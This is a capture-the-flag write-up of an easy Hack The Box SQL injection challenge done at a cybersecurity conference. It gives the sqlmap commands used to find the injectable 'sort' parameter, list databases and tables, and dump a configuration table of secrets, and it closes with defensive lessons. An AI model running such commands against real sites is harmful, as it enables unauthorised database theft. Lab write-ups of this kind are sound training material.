Hack The Box CTF Write-Up
7th Annual Saranac Lake Cybersecurity Conference
SQL Injection and Database Enumeration Challenge
Platform: Hack The Box
Difficulty: Easy
====================================================================
EXECUTIVE SUMMARY
During the 7th Annual Saranac Lake Cybersecurity Conference, a student and I completed an easy Hack The Box web application challenge focused on identifying and exploiting a SQL injection vulnerability. The objective was to enumerate the target application, identify a vulnerable parameter, extract sensitive information from the backend database, and ultimately obtain the challenge flag.
The exercise demonstrated how improper input validation can lead to complete database compromise and reinforced the importance of secure coding practices, parameterized queries, and least-privilege database permissions.
====================================================================
OBJECTIVE
The objective of this challenge was to:
• Enumerate exposed network services
• Identify vulnerabilities within the web application
• Discover a SQL injection vulnerability
• Enumerate backend databases
• Extract sensitive application data
• Recover application secrets or credentials
• Obtain the challenge flag
====================================================================
INITIAL ENUMERATION
Initial reconnaissance identified the following exposed services:
Port 80 - HTTP Web Server
Port 3306 - MySQL
The presence of both a web server and a MySQL database suggested a traditional web application backed by a relational database.
While exploring the application, we observed that employee records could be sorted using the following URL parameter:
http://154.57.164.64:31895/?sort=salary
Since the "sort" parameter appeared to influence a database query, it became the primary target for testing.
====================================================================
SQL INJECTION DISCOVERY
To determine whether the application was vulnerable to SQL injection, we used sqlmap.
Command:
sqlmap -u "http://154.57.164.64:31895/?sort=salary"
After testing the parameter, sqlmap confirmed that the application was vulnerable.
The following SQL injection techniques were identified:
• Boolean-Based Blind SQL Injection
• Time-Based Blind SQL Injection
• Stacked Queries
One of the most significant findings reported by sqlmap was:
GET parameter 'sort' appears to be
MySQL >= 5.0.12 stacked queries injectable
The ability to execute stacked queries significantly increased the potential impact of the vulnerability because multiple SQL statements could be executed during a single request.
====================================================================
DATABASE ENUMERATION
After confirming SQL injection, we instructed sqlmap to enumerate all databases on the server.
Command:
sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL --dbs --batch
The following databases were discovered:
information_schema
mysql
performance_schema
sys
test
hireplus
The first four are standard MySQL system databases.
The database of interest was:
hireplus
This database contained the application's data.
====================================================================
TABLE ENUMERATION
Next, we enumerated the tables within the hireplus database.
Command:
sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL -D hireplus --tables
Several application tables were identified, including a configuration table storing application settings.
====================================================================
DATA EXTRACTION
Using sqlmap, we dumped the contents of the configuration table.
Command:
sqlmap -u "http://154.57.164.64:31895/?sort=salary" --dbms=MySQL -D hireplus -T config --dump
The table contained a classic key-value configuration structure:
id
key
value
Within the "value" column were numerous application secrets and configuration values, including information necessary to access the challenge environment.
These recovered values ultimately enabled completion of the challenge and retrieval of the flag.
====================================================================
ATTACK PATH
1. Network reconnaissance
2. Web application enumeration
3. SQL injection discovery
4. Database enumeration
5. Table enumeration
6. Configuration extraction
7. Secret recovery
8. Flag retrieval
====================================================================
SECURITY FINDINGS
SQL Injection
The application accepted user-controlled input without proper validation or parameterized queries.
Impact:
• Complete database enumeration
• Sensitive information disclosure
• Credential compromise
• Potential remote code execution through stacked queries
--------------------------------------------------------------------
Excessive Database Privileges
The database account possessed sufficient permissions to enumerate databases and retrieve sensitive information.
Impact:
• Full application data disclosure
• Exposure of configuration secrets
• Administrative credential compromise
--------------------------------------------------------------------
Sensitive Configuration Storage
Critical application secrets were stored directly within a database table and could be retrieved through SQL injection.
Examples included:
• Administrative credentials
• Application secrets
• API keys
• Configuration values
====================================================================
LESSONS LEARNED
• Use parameterized queries to eliminate SQL injection vulnerabilities.
• Validate and sanitize all user input before processing.
• Apply the principle of least privilege to database accounts.
• Store application secrets in secure secret management solutions.
• Conduct regular penetration testing and vulnerability assessments.
====================================================================
CONCLUSION
This Hack The Box challenge provided an excellent demonstration of one of the most common and impactful web application vulnerabilities: SQL injection.
Beginning with basic reconnaissance, we identified a vulnerable application parameter, confirmed multiple SQL injection techniques, enumerated backend databases, extracted sensitive configuration data, and ultimately recovered the information necessary to obtain the challenge flag.
The exercise highlighted how a single improperly validated input can compromise an entire application and reinforced the importance of secure coding practices, least-privilege database permissions, and continuous security testing. It also served as an outstanding hands-on learning experience during the 7th Annual Saranac Lake Cybersecurity Conference, demonstrating how offensive security techniques can strengthen defensive cybersecurity knowledge.